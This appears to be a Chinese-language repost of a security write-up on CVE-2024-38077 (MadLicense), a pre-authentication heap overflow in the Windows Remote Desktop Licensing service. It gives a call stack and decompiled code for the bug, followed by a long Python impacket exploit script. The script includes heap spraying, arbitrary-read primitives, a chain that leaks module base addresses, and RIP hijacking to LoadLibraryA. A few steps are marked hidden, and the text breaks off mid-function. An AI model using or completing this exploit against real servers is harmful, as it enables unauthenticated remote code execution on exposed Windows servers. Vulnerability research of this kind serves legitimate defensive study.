CVE-2024-38077(MadLicense)¶
约 632 个字 1428 行代码 预计阅读时间 27 分钟
原文地址:MadLicense (作者已删除)
可用版本
Windows Server 2020-2025
背景介绍 ¶
漏洞作者一共向微软报告了 56 个漏洞,其中包括远程桌面授权服务中的几个 Pre Auth RCE 漏洞(未经身份验证的非沙盒 0-click RCE
本文将不会公开漏洞的技术上的利用细节和完整 PoC,同时为了防止恶意利用,所有 exp 代码均为伪代码。
Remote Desktop Licensing (RDL) 服务 ¶
RDL 服务是 windows 服务器中负责管理远程桌面服务许可的组件,被广泛部署于开启了 Remote Desktop Services (RDS) 的服务器上。默认情况下 RDS 同时只允许两个用户同时连接,如果需要更多的用户连接,需要购买额外的许可证。RDL 服务负责管理这些许可证。 另一个 RDL 广泛安装的原因是管理员通常会在开启 3389 端口的 RDS 时同时勾选 RDL 服务。
在审计 RDL 服务前,我们对互联网上的服务器进行扫描发现超过 170,000 台正在运行的 RDL 服务暴露在公网中,内网中的 RDS 服务数量更多。因此,RDL 服务的 pre-auth RCE 漏洞的利用会对网络安全产生巨大影响。
CVE-2024-38077: A Simple Heap Overflow Vulnerability¶
终端服务许可程序被设计用于管理需要连接到任意服务器上用户或设备的终端服务 CALs。在CDataCoding::DecodeData
中,分配了一个 21 字节固定大小的 buffer,随后由用户控制长度的缓冲区计算和填充,导致堆溢出。
以下是调用栈和伪代码
0:012> k
# Child-SP RetAddr Call Site
00 000000b9`d2ffbd30 00007fff`67a76fec lserver!CDataCoding::DecodeData
01 000000b9`d2ffbd70 00007fff`67a5c793 lserver!LKPLiteVerifyLKP+0x38
02 000000b9`d2ffbdc0 00007fff`67a343eb lserver!TLSDBTelephoneRegisterLicenseKeyPack+0x163
03 000000b9`d2ffd7d0 00007fff`867052a3 lserver!TLSRpcTelephoneRegisterLKP+0x15b
04 000000b9`d2fff0c0 00007fff`8664854d RPCRT4!Invoke+0x73
05 000000b9`d2fff120 00007fff`86647fda RPCRT4!NdrStubCall2+0x30d
06 000000b9`d2fff3d0 00007fff`866b7967 RPCRT4!NdrServerCall2+0x1a
07 000000b9`d2fff400 00007fff`86673824 RPCRT4!DispatchToStubInCNoAvrf+0x17
08 000000b9`d2fff450 00007fff`866729e4 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x194
09 000000b9`d2fff520 00007fff`86688d4a RPCRT4!RPC_INTERFACE::DispatchToStub+0x1f4
0a 000000b9`d2fff7c0 00007fff`86688af1 RPCRT4!OSF_SCALL::DispatchHelper+0x13a
0b 000000b9`d2fff8e0 00007fff`86687809 RPCRT4!OSF_SCALL::DispatchRPCCall+0x89
0c 000000b9`d2fff910 00007fff`86686398 RPCRT4!OSF_SCALL::ProcessReceivedPDU+0xe1
0d 000000b9`d2fff9b0 00007fff`86697f4c RPCRT4!OSF_SCONNECTION::ProcessReceiveComplete+0x34c
0e 000000b9`d2fffab0 00007fff`840377f1 RPCRT4!CO_ConnectionThreadPoolCallback+0xbc
0f 000000b9`d2fffb30 00007fff`867f7794 KERNELBASE!BasepTpIoCallback+0x51
10 000000b9`d2fffb80 00007fff`867f7e37 ntdll!TppIopExecuteCallback+0x1b4
11 000000b9`d2fffc00 00007fff`85b11fd7 ntdll!TppWorkerThread+0x547
12 000000b9`d2ffff60 00007fff`8683d9c0 KERNEL32!BaseThreadInitThunk+0x17
13 000000b9`d2ffff90 00000000`00000000 ntdll!RtlUserThreadStart+0x20
void __fastcall CDataCoding::SetInputEncDataLen(CDataCoding *this)
{
// ...
dword_1800D61D0 = 35;
v1 = log10_0((double)dword_1800D61C8) * 35.0;
v2 = v1 / log10_0(2.0);
v3 = (int)v2 + 1;
v4 = 0;
if ( v2 <= (double)(int)v2 )
v3 = (int)v2;
LOBYTE(v4) = (v3 & 7) != 0;
LODWORD(dwBytes) = (v3 >> 3) + v4; // dwBytes is a fixed value 21
}
__int64 __fastcall CDataCoding::DecodeData(
CDataCoding *this,
const unsigned __int16 *a2,
unsigned __int8 **a3,
unsigned int *a4)
{
// ...
v4 = 0;
v8 = 0;
if ( a3 )
{
// dwBytes is a global variable with value 21
v9 = dwBytes;
*a3 = 0i64;
*a4 = 0;
ProcessHeap = GetProcessHeap();
v11 = (unsigned __int8 *)HeapAlloc(ProcessHeap, 8u, v9);
v12 = v11;
if ( v11 )
{
memset_0(v11, 0, (unsigned int)dwBytes);
while ( *a2 )
{
// Str is BCDFGHJKMPQRTVWXY2346789
// a2 is user-controlled buffer
v13 = wcschr_0(Str, *a2);
if ( !v13 )
{
v4 = 13;
v18 = GetProcessHeap();
HeapFree(v18, 0, v12);
return v4;
}
// here change the integer a2 from base 24 to base 10
// but does not check the length of a2
v14 = v13 - Str;
v15 = v12;
v16 = (unsigned int)(v8 + 1);
do
{
v17 = dword_1800D61C8 * *v15 + v14;
*v15++ = v17;
LODWORD(v14) = v17 >> 8;
--v16;
}
while ( v16 );
if ( (_DWORD)v14 )
v12[++v8] = v14;
++a2;
}
*a4 = dwBytes;
*a3 = v12;
}
else return 8;
}
else return 87;
return v4;
}
Exploit¶
这里我们仅简单介绍利用,技术细节解释将在未来的文章中发布。此处的 python 代码均为伪代码,不能直接用于触发漏洞。
code
import struct, hashlib, argparse
from time import sleep
from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.ndr import NDRUniConformantArray, NDRPOINTER, NDRSTRUCT, NDRCALL
from impacket.dcerpc.v5.dtypes import BOOL,ULONG, DWORD, PULONG, PWCHAR, PBYTE, WIDESTR, UCHAR, WORD, BBYTE, LPSTR, PUINT, WCHAR
from impacket.uuid import uuidtup_to_bin
from Crypto.Util.number import bytes_to_long
from wincrypto import CryptEncrypt, CryptImportKey
UUID = uuidtup_to_bin(("3d267954-eeb7-11d1-b94e-00c04fa3080d", "1.0"))
TRY_TIMES = 3
SLEEP_TIME = 210
DESCRIPTION = "MadLicense: Windows Remote Desktop Licensing Service Preauth RCE"
dce = None
rpctransport = None
ctx_handle = None
handle_lists = []
leak_idx = 0
heap_base = 0
ntdll_base = 0
peb_base = 0
pe_base = 0
rpcrt4_base = 0
kernelbase_base = 0
def p8(x):
return struct.pack("B", x)
def p16(x):
return struct.pack("H", x)
def p32(x):
return struct.pack("I", x)
def p64(x):
return struct.pack("Q", x)
class CONTEXT_HANDLE(NDRSTRUCT):
structure = (
("Data", "20s=b"),
)
def getAlignment(self):
return 4
class TLSRpcGetVersion(NDRCALL):
opnum = 0
structure = (
("ctx_handle", CONTEXT_HANDLE),
("version", PULONG),
)
class TLSRpcGetVersionResponse(NDRCALL):
structure = (
("version", ULONG),
)
class TLSRpcConnect(NDRCALL):
opnum = 1
class TLSRpcConnectResponse(NDRCALL):
structure = (
("ctx_handle", CONTEXT_HANDLE),
)
class TLSBLOB(NDRSTRUCT):
structure = (
("cbData", ULONG),
("pbData", PBYTE),
)
class TLSCRYPT_ALGORITHM_IDENTIFIER(NDRSTRUCT):
structure = (
("pszObjId", LPSTR),
("Parameters", TLSBLOB),
)
class TLSCRYPT_BIT_BLOB(NDRSTRUCT):
structure = (
("cbData", DWORD),
("pbData", PBYTE),
("cUnusedBits", DWORD),
)
class TLSCERT_PUBLIC_KEY_INFO(NDRSTRUCT):
structure = (
("Algorithm", TLSCRYPT_ALGORITHM_IDENTIFIER),
("PublicKey", TLSCRYPT_BIT_BLOB),
)
class PTLSCERT_PUBLIC_KEY_INFO(NDRPOINTER):
referent = (
("Data", TLSCERT_PUBLIC_KEY_INFO),
)
class TLSCERT_EXTENSION(NDRSTRUCT):
structure = (
("pszObjId", LPSTR),
("fCritical", BOOL),
("Value", TLSBLOB),
)
class TLSCERT_EXTENSION_ARRAY(NDRUniConformantArray):
item = TLSCERT_EXTENSION
class PTLSCERT_EXTENSION(NDRPOINTER):
referent = (
("Data", TLSCERT_EXTENSION_ARRAY),
)
class TLSHYDRACERTREQUEST(NDRSTRUCT):
structure = (
("dwHydraVersion", DWORD),
("cbEncryptedHwid", DWORD),
("pbEncryptedHwid", PBYTE),
("szSubjectRdn", PWCHAR),
("pSubjectPublicKeyInfo", PTLSCERT_PUBLIC_KEY_INFO),
("dwNumCertExtension", DWORD),
("pCertExtensions", PTLSCERT_EXTENSION),
)
class PTLSHYDRACERTREQUEST(NDRPOINTER):
referent = (
("Data", TLSHYDRACERTREQUEST),
)
class TLSRpcRequestTermServCert(NDRCALL):
opnum = 34
structure = (
("phContext", CONTEXT_HANDLE),
("pbRequest", TLSHYDRACERTREQUEST),
("cbChallengeData", DWORD),
("pdwErrCode", DWORD),
)
class TLSRpcRequestTermServCertResponse(NDRCALL):
structure = (
("cbChallengeData", ULONG),
("pbChallengeData", PBYTE),
("pdwErrCode", ULONG),
)
class TLSRpcRetrieveTermServCert(NDRCALL):
opnum = 35
structure = (
("phContext", CONTEXT_HANDLE),
("cbResponseData", DWORD),
("pbResponseData", BBYTE),
("cbCert", DWORD),
("pbCert", BBYTE),
("pdwErrCode", DWORD),
)
class TLSRpcRetrieveTermServCertResponse(NDRCALL):
structure = (
("cbCert", PUINT),
("pbCert", BBYTE),
("pdwErrCode", PUINT),
)
class TLSRpcTelephoneRegisterLKP(NDRCALL):
opnum = 49
structure = (
("ctx_handle", CONTEXT_HANDLE),
("dwData", ULONG),
("pbData", BBYTE),
("pdwErrCode", ULONG)
)
class TLSRpcTelephoneRegisterLKPResponse(NDRCALL):
structure = (
("pdwErrCode", ULONG)
)
class TLSCHALLENGEDATA(NDRSTRUCT):
structure = (
("dwVersion", ULONG),
("dwRandom", ULONG),
("cbChallengeData", ULONG),
("pbChallengeData", PBYTE),
("cbReservedData", ULONG),
("pbReservedData", PBYTE),
)
class PTLSCHALLENGEDATA(NDRPOINTER):
referent = (
("Data", TLSCHALLENGEDATA),
)
class TLSCHALLENGERESPONSEDATA(NDRSTRUCT):
structure = (
("dwVersion", ULONG),
("cbResponseData", ULONG),
("pbResponseData", PBYTE),
("cbReservedData", ULONG),
("pbReservedData", PBYTE),
)
class PTLSCHALLENGERESPONSEDATA(NDRPOINTER):
referent = (
("Data", TLSCHALLENGERESPONSEDATA),
)
class TLSRpcChallengeServer(NDRCALL):
opnum = 44
structure = (
("phContext", CONTEXT_HANDLE),
("dwClientType", ULONG),
("pClientChallenge", TLSCHALLENGEDATA),
("pdwErrCode", ULONG),
)
class TLSRpcChallengeServerResponse(NDRCALL):
structure = (
("pServerResponse", PTLSCHALLENGERESPONSEDATA),
("pServerChallenge", PTLSCHALLENGEDATA),
("pdwErrCode", ULONG),
)
class TLSRpcResponseServerChallenge(NDRCALL):
opnum = 45
structure = (
("phContext", CONTEXT_HANDLE),
("pClientResponse", TLSCHALLENGERESPONSEDATA),
("pdwErrCode", ULONG),
)
class TLSRpcResponseServerChallengeResponse(NDRCALL):
structure = (
("pdwErrCode", ULONG),
)
class TLSRpcRegisterLicenseKeyPack(NDRCALL):
opnum = 38
structure = (
("lpContext", CONTEXT_HANDLE),
("arg_1", BBYTE),
("arg_2", ULONG),
("arg_3", BBYTE),
("arg_4", ULONG),
("lpKeyPackBlob", BBYTE),
("arg_6", ULONG),
("pdwErrCode", ULONG),
)
class TLSRpcRegisterLicenseKeyPackResponse(NDRCALL):
structure = (
("pdwErrCode", ULONG),
)
class WIDESTR_STRIPPED(WIDESTR):
length = None
def getitem(self, key):
if key == 'Data':
return self.fields[key].decode('utf-16le').rstrip('\x00')
else:
return NDR.getitem(self,key)
def getDataLen(self, data, offset=0):
if self.length is None:
return super().getDataLen(data, offset)
return self.length * 2
class WCHAR_ARRAY_256(WIDESTR_STRIPPED):
length = 256
class LSKeyPack(NDRSTRUCT):
structure = (
("dwVersion", DWORD),
("ucKeyPackType", UCHAR),
("szCompanyName", WCHAR_ARRAY_256),
("szKeyPackId", WCHAR_ARRAY_256),
("szProductName", WCHAR_ARRAY_256),
("szProductId", WCHAR_ARRAY_256),
("szProductDesc", WCHAR_ARRAY_256),
("wMajorVersion", WORD),
("wMinorVersion", WORD),
("dwPlatformType", DWORD),
("ucLicenseType", UCHAR),
("dwLanguageId", DWORD),
("ucChannelOfPurchase", UCHAR),
("szBeginSerialNumber", WCHAR_ARRAY_256),
("dwTotalLicenseInKeyPack", DWORD),
("dwProductFlags", DWORD),
("dwKeyPackId", DWORD),
("ucKeyPackStatus", UCHAR),
("dwActivateDate", DWORD),
("dwExpirationDate", DWORD),
("dwNumberOfLicenses", DWORD),
)
class LPLSKeyPack(NDRPOINTER):
referent = (
("Data", LSKeyPack),
)
class TLSRpcKeyPackEnumNext(NDRCALL):
opnum = 13
structure = (
("phContext", CONTEXT_HANDLE),
("lpKeyPack", LPLSKeyPack),
("pdwErrCode", ULONG),
)
class TLSRpcKeyPackEnumNextResponse(NDRCALL):
structure = (
("pdwErrCode", ULONG),
)
class TLSRpcDisconnect(NDRCALL):
opnum = 2
structure = (
("ctx_handle", CONTEXT_HANDLE),
)
class TLSRpcDisconnectResponse(NDRCALL):
structure = (
("ctx_handle", CONTEXT_HANDLE),
)
class TLSRpcGetServerName(NDRCALL):
opnum = 4
structure = (
("ctx_handle", CONTEXT_HANDLE),
("serverName", WCHAR),
("nameLen", ULONG),
("errCode", ULONG),
)
class TLSRpcGetServerNameResponse(NDRCALL):
structure = (
("serverName", WCHAR),
("nameLen", ULONG),
("pdwErrCode", ULONG),
)
def b24encode(data, charmap):
data = data[::-1]
data = bytes_to_long(data)
enc = b""
while data != 0:
tmp = data % len(charmap)
data //= len(charmap)
enc += charmap[tmp]
return enc[::-1]
def spray_lfh_chunk(size, loopsize):
payload = b"\x00" * size
reg_lic_keypack = construct_TLSRpcRegisterLicenseKeyPack(payload)
for _ in range(loopsize):
dce.request(reg_lic_keypack)
def disconnect(handle):
global dce
disconn = TLSRpcDisconnect()
disconn["ctx_handle"] = handle
disconn_res = dce.request(disconn)
ret = disconn_res["ctx_handle"]
return ret
def handles_free():
global handle_lists, heap_base
sleep(7)
for i in range(0x8):
handle = handle_lists[0x400 + i * 2]
disconnect(handle)
handle_lists.remove(handle)
def spray_handles(times):
global dce, handle_lists
handle_lists = []
for _ in range(times):
rpc_conn = TLSRpcConnect()
res_rpc_conn = dce.request(rpc_conn)
handle = res_rpc_conn["ctx_handle"]
handle_lists.append(handle)
def spray_fake_obj(reg_lic_keypack, times = 0x300):
global dce
for i in range(times):
dce.request(reg_lic_keypack)
def construct_TLSRpcTelephoneRegisterLKP(payload):
global ctx_handle
print("Hidden to prevent abusing")
return tls_register_LKP
def construct_overflow_arbread_buf(addr, padding):
payload = b""
payload += p64(addr)
if padding:
payload += p32(0)
payload += p32(0)
payload += p32(1)
tls_register_LKP = construct_TLSRpcTelephoneRegisterLKP(payload)
return tls_register_LKP
def construct_overflow_fake_obj_buf(fake_obj_addr):
payload = b""
payload += p64(0)
payload += p32(0)
payload += p32(1)
payload += p32(0)
payload += p32(1)
payload += p64(fake_obj_addr)
payload += p8(1)
tls_register_LKP = construct_TLSRpcTelephoneRegisterLKP(payload)
return tls_register_LKP
def arb_read(addr, padding = False, passZero = False, leakHeapBaseOffset = 0):
global leak_idx, handle_lists, dce, ctx_handle
if leakHeapBaseOffset != 0:
spray_lfh_chunk(0x20, 0x800)
else:
spray_lfh_chunk(0x20, 0x400)
spray_handles(0xc00)
handles_free()
serverName = "a" * 0x10
get_server_name = TLSRpcGetServerName()
get_server_name["serverName"] = serverName + "\x00"
get_server_name["nameLen"] = len(serverName) + 1
get_server_name["errCode"] = 0
if leakHeapBaseOffset != 0:
tls_register_LKP = construct_overflow_arbread_buf(addr[0], padding)
else:
tls_register_LKP = construct_overflow_arbread_buf(addr, padding)
pbData = b"c" * 0x10
tls_blob = TLSBLOB()
tls_blob["cbData"] = len(pbData)
tls_blob["pbData"] = pbData
tls_cert_extension = TLSCERT_EXTENSION()
tls_cert_extension["pszObjId"] = "d" * 0x10 + "\x00"
tls_cert_extension["fCritical"] = False
tls_cert_extension["Value"] = tls_blob
pbData2 = bytes.fromhex("3048024100bf1be06ab5c535d8e30a3b3dc616ec084ff4f5b9cfb2a30695ccc6c58c37356c938d3c165d980b07882a35f22ac2e580624cc08a2a3391e5e1f608f94764b27d0203010001")
tls_crypt_bit_blob = TLSCRYPT_BIT_BLOB()
tls_crypt_bit_blob["cbData"] = len(pbData2)
tls_crypt_bit_blob["cbData"] = pbData2
tls_crypt_bit_blob["cUnusedBits"] = 0
tls_blob2 = TLSBLOB()
tls_blob2["cbData"] = 0
tls_blob2["pbData"] = b""
tls_crypto_algorithm_identifier = TLSCRYPT_ALGORITHM_IDENTIFIER()
tls_crypto_algorithm_identifier["pszObjId"] = "1.2.840.113549.1.1.1\x00"
tls_crypto_algorithm_identifier["Parameters"] = tls_blob2
tls_cert_public_key_info = TLSCERT_PUBLIC_KEY_INFO()
tls_cert_public_key_info["Algorithm"] = tls_crypto_algorithm_identifier
tls_cert_public_key_info["PublicKey"] = tls_crypt_bit_blob
encryptedHwid = b"e" * 0x20
hydra_cert_request = TLSHYDRACERTREQUEST()
hydra_cert_request["dwHydraVersion"] = 0
hydra_cert_request["cbEncryptedHwid"] = len(encryptedHwid)
hydra_cert_request["pbEncryptedHwid"] = encryptedHwid
hydra_cert_request["szSubjectRdn"] = "bbb\x00"
hydra_cert_request["pSubjectPublicKeyInfo"] = tls_cert_public_key_info
dwNumCertExtension = 0
hydra_cert_request["dwNumCertExtension"] = dwNumCertExtension
pbResponseData = b"a" * 0x10
pbCert = b"b" * 0x10
count = 0
while True:
count += 1
sleep(5)
try:
dce.request(tls_register_LKP)
except:
pass
retAddr = 0x0
for handle in handle_lists[::-1]:
if padding:
get_server_name["ctx_handle"] = handle
res_get_server_name = dce.request(get_server_name)
err_code = res_get_server_name["pdwErrCode"]
if (err_code == 0):
continue
rpc_term_serv_cert = TLSRpcRequestTermServCert()
rpc_term_serv_cert["phContext"] = handle
rpc_term_serv_cert["pbRequest"] = hydra_cert_request
rpc_term_serv_cert["cbChallengeData"] = 0x100
rpc_term_serv_cert["pdwErrCode"] = 0
rpc_retrieve_serv_cert = TLSRpcRetrieveTermServCert()
rpc_retrieve_serv_cert["phContext"] = handle
rpc_retrieve_serv_cert["cbResponseData"] = len(pbResponseData)
rpc_retrieve_serv_cert["pbResponseData"] = pbResponseData
rpc_retrieve_serv_cert["cbCert"] = len(pbCert)
rpc_retrieve_serv_cert["pbCert"] = pbCert
rpc_retrieve_serv_cert["pdwErrCode"] = 0
try:
res_rpc_term_serv_cert = dce.request(rpc_term_serv_cert)
res_rpc_retrieve_serv_cert = dce.request(rpc_retrieve_serv_cert)
data = res_rpc_retrieve_serv_cert["pbCert"]
if b"n\x00c\x00a\x00c\x00n\x00" not in data:
handle_lists.remove(handle)
if leak_idx == 0:
if leakHeapBaseOffset != 0:
for i in range(len(data) - 6):
retAddr = data[i+4:i+6] + data[i+2:i+4] + data[i:i+2]
retAddr = bytes_to_long(retAddr) - leakHeapBaseOffset
if retAddr & 0xffff == 0:
leak_idx = i
print("[+] Find leak_idx: 0x{:x}".format(leak_idx))
return retAddr
else:
print("[-] Finding leak_idx error!")
exit(-1)
else:
if passZero:
data = data[leak_idx:leak_idx+4]
retAddr = data[2:4] + data[0:2]
else:
data = data[leak_idx:leak_idx+6]
retAddr = data[4:6] + data[2:4] + data[0:2]
retAddr = bytes_to_long(retAddr)
return retAddr
except:
continue
if leakHeapBaseOffset != 0:
if count < len(addr):
targetAddr = addr[count]
tls_register_LKP = construct_overflow_arbread_buf(targetAddr, padding)
else:
print("G!")
targetAddr = 0xdeaddeadbeefbeef
tls_register_LKP = construct_overflow_arbread_buf(targetAddr, True)
if leakHeapBaseOffset != 0:
spray_lfh_chunk(0x20, 0x800)
else:
spray_lfh_chunk(0x20, 0x400)
spray_handles(0xc00)
handles_free()
def construct_fake_obj(heap_base, rpcrt4_base, kernelbase_base, arg1, NdrServerCall2_offset = 0x16f50, OSF_SCALL_offset = 0xdff10, LoadLibraryA_offset = 0xf6de0):
print("Hidden to prevent abusing")
payload=0
fake_obj_addr=0
return payload, fake_obj_addr
def construct_TLSRpcRegisterLicenseKeyPack(payload):
global ctx_handle
my_cert_exc = bytes.fromhex("308201363081e5a0030201020208019e2bfac0ae2c30300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d3730303630353039323731335a170d3439303630353039323731335a3011310f300d06035504031e06006200620062305c300d06092a864886f70d0101010500034b003048024100b122dfa634ad803cbf0c1133986e7e551a036a1dfd521cd613c4972cd6f096f2a3dd0b8f80b8a26909137225134ec9d98b3acffd79c665061368c217613aba050203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341003f4ceda402ad607b9d1a38095efe25211010feb1e5a30fe5af6705c2e53a19949eaf50875e2e77c71a9b4945d631360c9dbec1f17d7e096c318547f8167d840e")
my_cert_sig = bytes.fromhex("3082036406092a864886f70d010702a0820355308203510201013100300b06092a864886f70d010701a0820339308201363081e5a0030201020208019e2bfac0ab6d10300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d3730303630353039323731335a170d3439303630353039323731335a3011310f300d06035504031e06006200620062305c300d06092a864886f70d0101010500034b003048024100b122dfa634ad803cbf0c1133986e7e551a036a1dfd521cd613c4972cd6f096f2a3dd0b8f80b8a26909137225134ec9d98b3acffd79c665061368c217613aba050203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341009fd29b18115c7ef500a2ee543a4bb7528403ccb4e9fe7fe3ac2dcbf9ede68a1eca02f97c6a0f3c2384d85ab12418e523db90958978251e28d0e7903829e46723308201fb308201a9a0030201020208019e2bfac0ab6d10300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d3730303630353039323731335a170d3439303630353039323731335a300d310b300906035504031302610030820122300d06092a864886f70d01010105000382010f003082010a0282010100e05a714323273db5f17c731e7db3b07397cf08a6d614484ab715793af931376622e3b86820ddb26ea763636c55092c712296da18049fd7e61b4429b1a14a85ab4567639c2d2fbc6098893ed9c553fb14f9f488f6ffa38f9ee3aaf44888981bdec21e7d617e6c7fc019e8f896098eb76470d56c4666c015f784f172aa7b4999c6fdc48e6e2a4cdaf256d69fcdd14cc82d50eb5a4e48a810679f97a5f6a933dd12e63159a72c1b3ba8c7e59af0dabdcc40f2489df6335f74614b1d2b9016644a12bce70e7470977a6e5025e9251dc4300d6ef39860cad59b06a9b81a27491e83ea826a505c3c756df9529e538259c004a832a67783893486171d3a075db49026e90203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341004b949db70bb077d19adfc707c20420afb99ae1f0a3e857ab4e3f085fe2c84b539412f4235dce03a53a43ddaa76adf7cc32e36af7b8e4e31707f881241d6bf36b3100")
TEST_RSA_PUBLIC_MSKEYBLOB = bytes.fromhex("080200001066000020000000c61b815f961a35c688b5af232f81158c3a21f95ec897a6efa41d5b23bcf0387e")
data = b"\x00" * 0x3c
data += p32(len(payload))
data += payload
data += b"\x00" * 0x10
rsa_pub_key = CryptImportKey(TEST_RSA_PUBLIC_MSKEYBLOB)
encrypted_data = CryptEncrypt(rsa_pub_key, data)
key = TEST_RSA_PUBLIC_MSKEYBLOB
data = encrypted_data
payload = b""
payload += p32(len(key))
payload += key
payload += p32(len(data))
payload += data
reg_lic_keypack = TLSRpcRegisterLicenseKeyPack()
reg_lic_keypack["lpContext"] = ctx_handle
reg_lic_keypack["arg_1"] = my_cert_sig
reg_lic_keypack["arg_2"] = len(my_cert_sig)
reg_lic_keypack["arg_3"] = my_cert_exc
reg_lic_keypack["arg_4"] = len(my_cert_exc)
reg_lic_keypack["lpKeyPackBlob"] = payload
reg_lic_keypack["arg_6"] = len(payload)
reg_lic_keypack["pdwErrCode"] = 0
return reg_lic_keypack
def construct_TLSRpcKeyPackEnumNext(handle):
pLSKeyPack = LSKeyPack()
pLSKeyPack["dwVersion"] = 1
pLSKeyPack["ucKeyPackType"] = 1
pLSKeyPack["szCompanyName"] = "a" * 255 + "\x00"
pLSKeyPack["szKeyPackId"] = "a" * 255 + "\x00"
pLSKeyPack["szProductName"] = "a" * 255 + "\x00"
pLSKeyPack["szProductId"] = "a" * 255 + "\x00"
pLSKeyPack["szProductDesc"] = "a" * 255 + "\x00"
pLSKeyPack["wMajorVersion"] = 1
pLSKeyPack["wMinorVersion"] = 1
pLSKeyPack["dwPlatformType"] = 1
pLSKeyPack["ucLicenseType"] = 1
pLSKeyPack["dwLanguageId"] = 1
pLSKeyPack["ucChannelOfPurchase"] = 1
pLSKeyPack["szBeginSerialNumber"] = "a" * 255 + "\x00"
pLSKeyPack["dwTotalLicenseInKeyPack"] = 1
pLSKeyPack["dwProductFlags"] = 1
pLSKeyPack["dwKeyPackId"] = 1
pLSKeyPack["ucKeyPackStatus"] = 1
pLSKeyPack["dwActivateDate"] = 1
pLSKeyPack["dwExpirationDate"] = 1
pLSKeyPack["dwNumberOfLicenses"] = 1
rpc_key_pack_enum_next = TLSRpcKeyPackEnumNext()
rpc_key_pack_enum_next["phContext"] = handle
rpc_key_pack_enum_next["lpKeyPack"] = pLSKeyPack
rpc_key_pack_enum_next["pdwErrCode"] = 0
return rpc_key_pack_enum_next
def hijack_rip_and_rcx(heap_base, rpcrt4_base, kernelbase_base, arg1):
global handle_lists, dce
payload, fake_obj_addr = construct_fake_obj(heap_base, rpcrt4_base, kernelbase_base, arg1)
print("[+] Calculate fake_obj_addr: 0x{:x}".format(fake_obj_addr))
reg_lic_keypack = construct_TLSRpcRegisterLicenseKeyPack(payload)
print("[*] Hijack rip and rcx")
print("[*] rip: kernelbase!LoadLibraryA")
print("[*] rcx: {0}".format(arg1))
while True:
spray_fake_obj(reg_lic_keypack)
spray_lfh_chunk(0x20, 0x800)
spray_handles(0xc00)
handles_free()
tls_register_LKP = construct_overflow_fake_obj_buf(fake_obj_addr)
try:
dce.request(tls_register_LKP)
except:
pass
print("[*] Try to connect to server...")
for handle in handle_lists[::-1]:
rpc_key_pack_enum_next = construct_TLSRpcKeyPackEnumNext(handle)
try:
dce.request(rpc_key_pack_enum_next)
except:
pass
print("[*] Check whether the exploit successed? (Y/N)\t")
status = input("[*] ")
if status == "Y" or status == "y":
print("[+] Exploit success!")
exit(0)
def connect_to_license_server(target_ip):
global dce, rpctransport, ctx_handle
stringbinding = epm.hept_map(target_ip, UUID, protocol="ncacn_ip_tcp")
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_connect_timeout(100)
dce = rpctransport.get_dce_rpc()
dce.set_auth_level(2)
dce.connect()
dce.bind(UUID)
rpc_conn = TLSRpcConnect()
res_rpc_conn = dce.request(rpc_conn)
ctx_handle = res_rpc_conn["ctx_handle"]
get_version = TLSRpcGetVersion()
get_version["ctx_handle"] = ctx_handle
get_version["version"] = 3
res_get_version = dce.request(get_version)
version = res_get_version["version"]
print("[+] Get Server version: 0x{:x}".format(version))
CHAL_DATA = b"a" * 0x10
RESV_DATA = b"b" * 0x10
cli_chal = TLSCHALLENGEDATA()
cli_chal["dwVersion"] = 0x10000
cli_chal["dwRandom"] = 0x4
cli_chal["cbChallengeData"] = len(CHAL_DATA) + 1
cli_chal["pbChallengeData"] = CHAL_DATA + b"\x00"
cli_chal["cbReservedData"] = len(RESV_DATA) + 1
cli_chal["pbReservedData"] = RESV_DATA + b"\x00"
chal_server = TLSRpcChallengeServer()
chal_server["phContext"] = ctx_handle
chal_server["dwClientType"] = 0
chal_server["pClientChallenge"] = cli_chal
chal_server["pdwErrCode"] = 0
chal_response = dce.request(chal_server)
g_pszServerGuid = "d63a773e-6799-11d2-96ae-00c04fa3080d".encode("utf-16")[2:]
dwRandom = chal_response["pServerChallenge"]["dwRandom"]
pbChallengeData = b"".join(chal_response["pServerChallenge"]["pbChallengeData"])
pbResponseData = hashlib.md5(pbChallengeData[:dwRandom] + g_pszServerGuid + pbChallengeData[dwRandom:]).digest()
pClientResponse = TLSCHALLENGERESPONSEDATA()
pClientResponse["dwVersion"] = 0x10000
pClientResponse["cbResponseData"] = len(pbResponseData)
pClientResponse["pbResponseData"] = pbResponseData
pClientResponse["cbReservedData"] = 0
pClientResponse["pbReservedData"] = ""
resp_ser_chal = TLSRpcResponseServerChallenge()
resp_ser_chal["phContext"] = ctx_handle
resp_ser_chal["pClientResponse"] = pClientResponse
resp_ser_chal["pdwErrCode"] = 0
res_resp_ser_chal = dce.request(resp_ser_chal)
def leak_addr():
global heap_base, ntdll_base, peb_base, pe_base, rpcrt4_base, kernelbase_base
heap_offset_list = [0x100008, 0x100008, 0x400000, 0x600000, 0x800000, 0xb00000, 0xd00000, 0xf00000]
heap_base = arb_read(heap_offset_list, leakHeapBaseOffset = 0x188)
print("[+] Leak heap_base: 0x{:x}".format(heap_base))
ntdll_base = arb_read(heap_base + 0x102048, padding = True) - 0x1bd2a8
print("[+] Leak ntdll_base: 0x{:x}".format(ntdll_base))
tls_bit_map_addr = ntdll_base + 0x1bd268
print("[+] Leak tls_bit_map_addr: 0x{:x}".format(tls_bit_map_addr))
peb_base = arb_read(tls_bit_map_addr, padding = True) - 0x80
print("[+] Leak peb_base: 0x{:x}".format(peb_base))
pe_base = arb_read(peb_base + 0x12, padding = True, passZero = True) << 16
print("[+] Leak pe_base: 0x{:x}".format(pe_base))
pe_import_table_addr = pe_base + 0x10000
print("[+] Leak pe_import_table_addr: 0x{:x}".format(pe_import_table_addr))
rpcrt4_base = arb_read(pe_import_table_addr, padding = True) - 0xa4d70
print("[+] Leak rpcrt4_base: 0x{:x}".format(rpcrt4_base))
rpcrt4_import_table_addr = rpcrt4_base + 0xe7bf0
print("[+] Leak rpcrt4_import_table_addr: 0x{:x}".format(rpcrt4_import_table_addr))
kernelbase_base = arb_read(rpcrt4_import_table_addr, padding = True) - 0x10aec0
